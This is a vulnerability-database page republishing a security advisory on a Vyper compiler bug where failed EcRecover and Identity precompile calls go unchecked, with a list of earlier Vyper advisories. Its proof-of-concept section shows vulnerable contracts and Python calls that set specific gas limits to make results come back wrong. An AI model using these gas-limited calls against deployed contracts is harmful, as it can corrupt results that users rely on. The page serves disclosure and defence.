Niedrig

Vyper Does Not Check the Success of Certain Precompile Calls

Veröffentlicht: 14.01.2025
Aktualisiert: 11.10.2026 15:17

Summary

When the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect.

Based on EVM's rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts.

The fix is tracked in https://github.com/vyperlang/vyper/pull/4451.

Details

The relevant precompiles

EcRecover

EcRecover is used in vyper's ecrecover built-in. As the precompile consumes 3000 gas, any execution after an out-of-gas EcRecover call has at most 47 gas left.

Identity

The Identity precompile is used in vyper to perform memory copy operations. As its cost is variable, a variable amount of gas might be left after a failed call. The bigger the copy operation, the more gas can be left. Hence, a failed call to Identity could theoretically be followed by successful storage changes or emitted events.
Identity is no longer used when evm-version cancun is used (because MCOPY is used instead). In 0.4.0 cancun is default, in 0.3.10 cancun is an option, otherwise cancun is not available. As only pre-cancun versions are relevant, we don't have to consider transient storage operations succeeding a failed call to Identity.

The other precompiles

Calls to Sha2, ecAdd, and ecMul have success checks and have had them for a long time.
The precompiles modexp, ripe, blake, ecPairing, and Point Evaluation have no builtins in vyper.

PoC

In the following we provide concrete examples of incorrectly generated bytecode. These examples are not optimized, but rather Proof-of-Concepts. The list is also not exhaustive.

`ecrecover` use

Affected versions: 0.2.0 - 0.4.0
For older compiler versions (<=0.3.9) it behaves similarly to this older advisory. As no data is returned, the previous value of the memory word is returned to the user. Hence, any dirty bytes might be returned. Contracts with older compiler versions and ecrecover were checked.
For new vyper versions, the output buffer is zeroed, so when the call fails zero is returned. This is an incorrect result, but developers should anyway check for 0 as a failure case. Hence, this is unlikely to result in issues. However, we did search for such cases.
As mentioned above at most 47 gas is left after the failed call, hence a return is the most realistic scenario to be attacked.

Vulnerable Code:

python

@external
@view
def foo(hash: bytes32, v: uint256, r:uint256, s:uint256) -> address:
    return ecrecover(hash, v, r, s)

Problematic Call:

python

print(
    c.foo(
        binascii.unhexlify(
            "6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055"
        ),
        28,
        78616903610408968922803823221221116251138855211764625814919875002740131251724,
        37668412420813231458864536126575229553064045345107737433087067088194345044408,
    )
)  # Returns 0x9eE53ad38Bb67d745223a4257D7d48cE973FeB7A

print(
    c.foo(
        binascii.unhexlify(
            "6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055"
        ),
        28,
        78616903610408968922803823221221116251138855211764625814919875002740131251724,
        37668412420813231458864536126575229553064045345107737433087067088194345044408,
        gas=3000,
    )
)  # Returns 0x0000000000000000000000000000000000000000

Identity to copy Dynamic Arrays

Affected versions: 0.3.2 - 0.3.9
Dynamic Arrays might be copied on different occasions
That copy operation can fail leading to incorrect accesses afterwards

Vulnerable Code:

python

@external
def foo() -> uint256:
    a: DynArray[uint256, 4000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
    b: DynArray[uint256, 4000] = a
    return b[0]

Problematic Call:

python

print(c.foo())            # Prints 2
print(c.foo(gas=170000))  # Prints 0

Identity in ABI Encoding of Returndata

Affected versions: 0.3.2 - 0.4.0
Complex types such as Dynamic array with Strings inside need to be abi encoded before being returned
In that return there is a memory copy which can fail

Vulnerable Code:

python

@external
@view
def foo(x: String[1000000], y: String[1000000]) -> DynArray[String[1000000], 2]:
    z: DynArray[String[1000000], 2] = [x, y]
    # Some code
    return z

Problematic Call:

python

calldata0 = "a"*10
calldata1 = "b"*1000000
c.foo(calldata0, calldata1)                   # Returns correct data
c.foo(calldata0, calldata1, gas=48_400_000)   # Returns incorrect data (only first part)

Assertion based on data copied through Identity

Affected versions: 0.2.0 - 0.4.0
An incomplete copy operation might falsify the result of a subsequent assert

Vulnerable Code:

python

@internal
def bar() -> uint256[3000]:
    a: uint256[3000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
    return a

@external
def foo():
    s: uint256[3000] = self.bar()
    assert(s[0] == 0)

Problematic Call:

python

try:
    c.foo()                     # Correctly reverts
except Exception as e:
    print("Correctly reverted")
try:
    c.foo(gas=210000)           # Incorrectly succeeds
    print("Incorrectly succeeded")
except Exception:
    pass

Identity used in `raw_revert`

Affected versions: 0.3.8 - 0.4.0
A copy operation might appear as part of raw_revert
As a result the revert reason might be incorrect

Vulnerable Code:

python

@external
def foo(_data: Bytes[10000]):
    b: Bytes[10000] = _data
    raw_revert(b)

Problematic Call:

python

calldata = binascii.unhexlify("bb" * 10_000)
c.foo(calldata)       # Has correct revert reason
c.foo(calldata, gas=4_800)       # Has empty revert reason, but not out-of-gas

Identity to copy static arrays

Affected versions: 0.2.0 - 0.4.0
Vyper might perform a memory copy for static arrays, e.g. when moving them in and out of internal functions
As this access is especially cheap (due to the static checks) it can also happen for smaller sizes

Vulnerable Code:

python

@external
def foo(x: uint256[2500]) -> uint256:
    s: uint256[2500] = x
    t: uint256[2500] = s
    return t[0]

Problematic Call:

python

calldata = [2] + [0] * 2499
print(c.foo(calldata))              # Prints 2
print(c.foo(calldata, gas=74500))   # Prints 0

Identity to copy and return String or Bytes

Affected versions: 0.20 - 0.4.0
Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions
If the target buffer is later returned, incorrect data might be returned

Vulnerable Code:

python

@external
@view
def foo(x: String[1000000]) -> String[1000000]:
    return x

Problematic Call:

python

calldata = "a"*1000000
x = c.foo(calldata)                 # Returns calldata
y = c.foo(calldata, gas=8_000_000)  # Returns empty data

Identity and accessing the length of the target data

Affected versions: 0.3.10 - 0.4.0
Accessing the data is fairly cheap, making it possible for smaller data copies

Vulnerable Code:

python

@external
@view
def foo(x: String[1000000]) -> uint256:
    y: String[1000000] = x
    return len(y)

Problematic Call:

python

calldata = "a"*1000000
x = c.foo(calldata)                 # Returns correct length
y = c.foo(calldata, gas=7_929_200)  # Returns incorrect length

Identity to copy and return String or Bytes

Affected versions: 0.3.10 - 0.4.0
Multiple situations in vyper might trigger a memory copy operation, e.g. moving data in and out of internal functions
If the target buffer is later returned, incorrect data might be returned

Vulnerable Code:

python

@external
@view
def foo(x: String[1000000]) -> String[1000000]:
    return x

Problematic Call:

python

calldata = "a"*1000000
x = c.foo(calldata)                 # Returns calldata
y = c.foo(calldata, gas=8_000_000)  # Returns empty data

Impact

A contract search was conducted and yielded no significant results.

The advisory was rated a medium because the likelihood is low, but difficult to detect by source code analysis alone, and could yield unexpected results if a contract is affected by the bug.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

Plattform	Paket	Anfällige Versionen	Behoben in
Python (PyPI)	vyper	alle Versionen	keine Korrektur

Verweise

CVSS-Wert -

CVSS-Vektor: CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Schwäche (CWE): CWE-670, CWE-703
Plattform: Python (PyPI)
Paket: vyper
Veröffentlicht: 14.01.2025
Aktualisiert: 11.10.2026 15:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2025-33 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-vgf2-gvx8-xwc3 - CC BY 4.0

Schwachstellenhistorie: vyper

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (47) im Archiv

Einträge insgesamt: 47
Erste → letzte: 03.2020 10.2026
Ohne Fix: 5
In Angriffen ausgenutzt: 0

Verteilung nach Schweregrad

Kritisch 3
Hoch 14
Mittel 20
Niedrig 10

Veröffentlichungen pro Jahr

2020: 1
2021: 5
2022: 4
2023: 14
2024: 14
2025: 6
2026: 3

14.01.2025

Vyper Does Not Check the Success of Certain Precompile Calls dieser Eintrag

Niedrig CVE-2025-21607 alle Versionen keine Korrektur
07.02.2024

Vyper negative array index bounds checks

Kritisch · 9.8 CVE-2024-24563 < 0.4.0 0.4.0
01.02.2024

Vyper's bounds check on built-in `slice()` function can be overflowed

Kritisch · 9.8 CVE-2024-24561 < 0.4.0 0.4.0
18.01.2024

concat built-in can corrupt memory in vyper

Hoch · 7.3 CVE-2024-22419 >= 0.3.0, < 0.4.0 0.4.0
13.12.2023

incorrect storage layout for contracts containing large arrays

Hoch · 7.5 CVE-2023-46247 < 0.3.8 0.3.8
18.09.2023

Vyper vulnerable to memory corruption in certain builtins utilizing `msize`

Hoch · 8.1 CVE-2023-42443 >= 0.3.4, < 0.3.10 0.3.10
07.08.2023

Vyper has incorrectly allocated named re-entrancy locks

Kritisch · 8.7 CVE-2023-39363 >= 0.2.15, < 0.3.1 0.3.1
11.05.2023

Vyper vulnerable to incorrect ordering of arguments for kwargs passed to internal calls

Hoch · 7.5 CVE-2023-32059 < 0.3.8 0.3.8
11.05.2023

Vyper vulnerable to integer overflow in loop

Hoch · 7.5 CVE-2023-32058 < 0.3.8 0.3.8
11.05.2023

Vyper vulnerable to OOB DynArray access when array is on both LHS and RHS of an assignment

Hoch · 7.5 CVE-2023-31146 < 0.3.8 0.3.8
05.05.2023

vyper vulnerable to storage allocator overflow

Hoch · 7.5 CVE-2023-30837 < 0.3.8 0.3.8
24.04.2023

Incorrect success value returned in vyper

Hoch · 7.5 CVE-2023-30629 >= 0.3.1, < 0.3.8 0.3.8
06.06.2022

Multiple evaluation of contract address in call in vyper

Hoch · 7.5 CVE-2022-29255 < 0.3.4 0.3.4
13.04.2022

Vyper is a pythonic Smart Contract Language for the ethereum virtual machine. In affected versions, the return of `<iface>.returns_int128()` is not validated to fall within the bounds of `int128`. Thi

Hoch · 8.8 CVE-2022-24845 < 0.3.2 0.3.2
13.04.2022

Buffer Overflow in vyper

Hoch · 7.1 CVE-2022-24788 < 0.3.2 0.3.2
04.04.2022

Incorrect Comparison in Vyper

Hoch · 7.5 CVE-2022-24787 < 0.3.2 0.3.2
06.10.2021

Memory corruption when returning a literal struct with a private call inside of it

Hoch · 7.5 CVE-2021-41121 < 0.3.0 0.3.0
05.08.2021

Storage corruption due to variables overwritten by re-entrancy locks

Hoch ghsa-7f92-rr6w-cq64 >= 0.2.13, < 0.2.15 0.2.15

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden

Vyper Does Not Check the Success of Certain Precompile Calls

Summary

Details

The relevant precompiles

EcRecover

Identity

The other precompiles

PoC

ecrecover use

Identity to copy Dynamic Arrays

Identity in ABI Encoding of Returndata

Assertion based on data copied through Identity

Identity used in raw_revert

Identity to copy static arrays

Identity to copy and return String or Bytes

Identity and accessing the length of the target data

Identity to copy and return String or Bytes

Impact

Betroffene Software

Verweise

Schwachstellenhistorie: vyper

Verteilung nach Schweregrad

Veröffentlichungen pro Jahr

Erkennen Sie Schwachstellen in Ihrer Anwendung

Anwendungssicherheit in Ihrem Postfach

`ecrecover` use

Identity used in `raw_revert`